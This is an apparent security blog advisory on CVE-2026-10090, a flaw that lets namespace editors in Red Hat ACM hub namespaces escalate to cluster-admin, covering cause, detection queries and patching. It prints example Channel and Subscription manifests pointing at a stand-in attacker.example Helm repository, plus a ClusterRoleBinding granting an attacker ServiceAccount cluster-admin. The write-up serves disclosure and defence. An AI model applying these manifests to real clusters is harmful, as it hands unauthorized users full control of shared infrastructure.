CVE-2026-10090: Red Hat ACM Application Subscription Escalation
TL;DR - Critical ACM flaw lets namespace-scoped editors escalate to cluster-admin. - Affected orgs should review Channel and Subscription creation in hub namespaces and upgrade. - No confirmed KEV listing or public PoC at time of writing, but impact is severe.
Vulnerability at a Glance
| Field | Value |
|---|---|
| CVE ID | CVE-2026-10090 |
| CVSS score | 9.9 |
| Attack vector | Not fully published in the accessible NVD tool output at time of writing |
| Privileges required | Low, based on NVD description: namespace-scoped edit privileges in an ACM hub namespace |
| Patch available | Yes, Red Hat advisory evidence indicates a fix in ACM v2.13.9 |
CVE-2026-10090 is a critical privilege-escalation issue in the Application Subscription controller, multicluster-operators-subscription, used by Red Hat Advanced Cluster Management for Kubernetes (ACM). The vulnerability allows a user who already has namespace-scoped edit rights in an ACM hub namespace to cause the controller to deploy attacker-controlled Helm content with the controller’s elevated privileges.
The practical security outcome is severe: an attacker can move from limited namespace-level permissions to full cluster-admin. In Kubernetes terms, that is typically game over for cluster trust. Even though the attacker needs some initial access, the boundary being crossed is substantial enough that defenders should prioritize remediation as if this were an administrative compromise path.
What Is This Vulnerability?
At its core, this is a broken authorization and scope-enforcement problem in how ACM processes application subscriptions. According to the NVD description, a user with namespace-scoped edit access can create a Channel resource that points to an attacker-controlled Helm repository, then create a Subscription that references that channel. The Application Subscription controller fetches and applies the chart contents using its own elevated authority.
The controller reportedly fails in two important ways. First, it does not verify whether the creator of the subscription has the open-cluster-management:subscription-admin role. Second, it does not restrict the deployed resources to the subscription namespace. That combination means a lower-privileged user can smuggle cluster-scoped Kubernetes objects into a Helm chart and have the controller apply them.
In practice, the most dangerous example is a malicious ClusterRoleBinding. If the attacker includes a binding that grants their ServiceAccount the cluster-admin ClusterRole, the controller may apply it on their behalf. That converts namespace-scoped write access into full cluster-wide administrative control.
Technical Notes
A simplified malicious flow looks like this:
apiVersion: apps.open-cluster-management.io/v1
kind: Channel
metadata:
name: attacker-helm
namespace: hub-namespace
spec:
type: HelmRepo
pathname: https://attacker.example/helm
---
apiVersion: apps.open-cluster-management.io/v1
kind: Subscription
metadata:
name: attacker-subscription
namespace: hub-namespace
spec:
channel: hub-namespace/attacker-helm
name: malicious-chart
A cluster-scoped payload embedded in the chart could resemble:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: attacker-cluster-admin
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: attacker-sa
namespace: hub-namespace
Who Is Affected?
The confirmed affected product is Red Hat Advanced Cluster Management for Kubernetes, specifically the multicluster-operators-subscription component described by NVD as the Application Subscription controller. The issue applies to ACM deployments where users with namespace-scoped edit rights can create Channel and Subscription resources in a hub namespace.
The exact affected version range was not clearly exposed in the top accessible vendor references used for this write-up. That matters, because defenders often want a precise lower and upper bound for exposure. In this case, the defensible statement is that ACM is affected, but the public materials retrieved did not enumerate a complete version matrix.
What can be stated with confidence is the fixed release signal: Red Hat advisory RHSA-2026:36882 indicates a security update for Red Hat Advanced Cluster Management for Kubernetes v2.13.9, and the advisory snippet references the relevant multicluster-operators-subscription-rhel9 image stream. So the safest version guidance is:
- Affected versions: exact range unknown from the accessible sources
- Fixed version: ACM
v2.13.9 - Defender assumption if version data is incomplete: if you run ACM with the vulnerable subscription workflow and are below
2.13.9, treat the environment as potentially exposed until you validate against Red Hat’s current advisory details
Because the version range is not fully published in the materials at hand, organizations should not assume safety simply because they run a nearby minor version. Verify against the vendor advisory and err on the side of patching.
CVSS Score Breakdown
The NVD data available for this CVE lists a CVSS base score of 9.9, which places the issue in critical territory. That score aligns with the real-world impact described: a low-privilege user can end up with full cluster administrative control.
The complete vector string was not present in the returned NVD tool output used for this article, so it would be wrong to invent or reconstruct the exact vector from memory. Still, defenders can infer why the score is so high. The vulnerability appears to require some initial privileges, but those privileges are relatively modest: namespace-scoped edit access. From there, the impact is a complete authorization boundary failure.
In practical terms, the likely drivers of the 9.9 score are:
- Privileges required are not high: the attacker is not already cluster-admin
- Impact is severe across integrity and availability: a
cluster-adminfoothold can alter or break cluster-wide resources - Confidentiality impact is also high:
cluster-adminoften implies broad secret access - Exploitability is operationally realistic: the attack path uses intended ACM resource workflows rather than memory corruption or race-condition timing
If your risk model previously treated namespace edit rights in ACM hub namespaces as relatively contained, CVE-2026-10090 is a reminder that controller trust boundaries can invalidate that assumption.
Exploitation Status
At the time of writing, active exploitation in the wild is not confirmed in the sources reviewed. This CVE is not currently listed in CISA’s Known Exploited Vulnerabilities catalog, which means there is no CISA-backed public confirmation of exploitation. That is useful context, but it should not lower urgency too much because the impact is full cluster-admin.
Also at the time of writing, no public GitHub PoC was identified in the materials retrieved for this article. That means defenders should state the status accurately as: no confirmed public PoC found, and no confirmed in-the-wild exploitation found. Those are separate facts, and both matter.
However, the vulnerability description is specific enough that a capable Kubernetes or ACM practitioner could likely reproduce the abuse path without much guesswork. The exploit chain is not vague: create a Channel, point it to an attacker-controlled Helm repo, create a Subscription, and let the controller apply a chart containing cluster-scoped objects. Even without a public PoC repository, that raises the practical risk.
For incident response teams, the absence of confirmed exploitation should be treated as an intelligence gap, not as proof of safety. If your environment allows the prerequisite permissions, assume exploitability is feasible and hunt accordingly.
How to Detect It
Detection should focus on the misuse pattern rather than a single static signature. The key signals are: creation of suspicious Channel and Subscription objects in ACM hub namespaces by non-admin users, outbound controller access to untrusted Helm repositories, and subsequent creation of cluster-scoped RBAC objects such as ClusterRoleBinding.
A strong hunting approach is to correlate Kubernetes audit events. Look for a user with only namespace-scoped rights creating Channel or Subscription resources, followed shortly by the subscription controller creating cluster-scoped resources. In environments where Subscription use is rare or tightly controlled, even a single new HelmRepo-backed Channel deserves review.
Technical Notes
Kubernetes audit log patterns worth searching for:
objectRef.resource=channels
objectRef.resource=subscriptions
objectRef.resource=clusterrolebindings
verb=create
A practical audit correlation query in Splunk-style syntax could look like:
index=kube_audit
(
objectRef.resource="channels" OR
objectRef.resource="subscriptions" OR
objectRef.resource="clusterrolebindings"
)
verb="create"
| stats values(user.username) as users values(objectRef.namespace) as namespaces values(requestObject.kind) as kinds by _time, sourceIPs
| sort _time
If you have JSON audit logs in a SIEM that supports field filtering, hunt for the controller creating cluster-scoped RBAC shortly after a user-created subscription:
select(
(.objectRef.resource == "subscriptions" and .verb == "create") or
(.objectRef.resource == "clusterrolebindings" and .verb == "create")
)
Kubernetes-native checks can also help identify suspicious artifacts:
kubectl get channel -A
kubectl get subscription -A
kubectl get clusterrolebinding -A
kubectl get events -A --sort-by=.lastTimestamp
Review any Channel objects pointing to external or unexpected Helm repositories. Also inspect recently created ClusterRoleBinding objects for subjects that map to application or namespace service accounts rather than legitimate platform administrators.
At the network layer, defenders may also want to monitor egress from the subscription controller to Helm repository domains not on an approved allowlist. Exact network signatures will vary by environment, but outbound HTTPS requests from the multicluster-operators-subscription pod to unknown repositories should be treated as suspicious.
Mitigation and Patching
The strongest fix information available from the cited sources points to Red Hat Advanced Cluster Management for Kubernetes v2.13.9 as the relevant security update stream. If you are running ACM and use the Application Subscription controller, upgrading to 2.13.9 should be treated as the primary remediation step.
Because the exact affected version range was not fully enumerated in the accessible source content, defenders should avoid waiting for perfect version certainty before acting. If your deployment is below 2.13.9, or if you cannot quickly prove it already includes the fix, plan to upgrade. In parallel, reduce the immediate attack surface by restricting who can create Channel and Subscription resources in ACM hub namespaces.
Useful temporary mitigations include:
- Restrict namespace-scoped
editaccess in ACM hub namespaces - Review and limit permissions around
ChannelandSubscriptionresource creation - Block or tightly allowlist Helm repository sources reachable by the subscription controller
- Monitor and alert on creation of cluster-scoped RBAC objects originating from subscription workflows
- If operationally feasible, disable or pause vulnerable subscription workflows until patched
Technical Notes
Validate your installed ACM version first:
kubectl get multiclusterhub -A -o yaml | grep -i "currentVersion\|desiredVersion"
If your operations process uses Red Hat’s documented upgrade path for ACM operators, follow vendor guidance to move to 2.13.9. A generic OpenShift operator workflow may involve updating the subscribed operator channel or approved install plan, but exact commands vary by deployment model. Because vendor-specific upgrade steps were not fully included in the retrieved sources, use the official Red Hat upgrade documentation alongside RHSA-2026:36882.
As an immediate workaround, review who can create the relevant resources:
kubectl auth can-i create channels.apps.open-cluster-management.io -n <hub-namespace> --as <user>
kubectl auth can-i create subscriptions.apps.open-cluster-management.io -n <hub-namespace> --as <user>
You can also enumerate potentially risky objects now:
kubectl get channels.apps.open-cluster-management.io -A -o yaml
kubectl get subscriptions.apps.open-cluster-management.io -A -o yaml
kubectl get clusterrolebinding -o yaml
If you need a temporary control, remove unnecessary edit grants from ACM hub namespaces and constrain outbound network access from the subscription controller to approved Helm endpoints only. That will not replace patching, but it can reduce exposure while change windows are being scheduled.
References
The primary public source for the vulnerability description is the NVD entry for CVE-2026-10090. It clearly explains the privilege-escalation path involving Channel and Subscription objects, the missing subscription-admin authorization check, and the ability to deploy cluster-scoped resources that lead to cluster-admin.
Red Hat’s CVE page and associated Bugzilla entry are the key vendor references for tracking remediation details and implementation context. The strongest patch indicator identified during research is Red Hat Security Advisory RHSA-2026:36882, which points to ACM v2.13.9 as the security update stream relevant to this issue.
For further reading on Kubernetes and security practices, check out our articles on what is Kubernetes RBAC and patch management strategies.
This article may contain affiliate links. We earn a commission on qualifying purchases at no extra cost to you.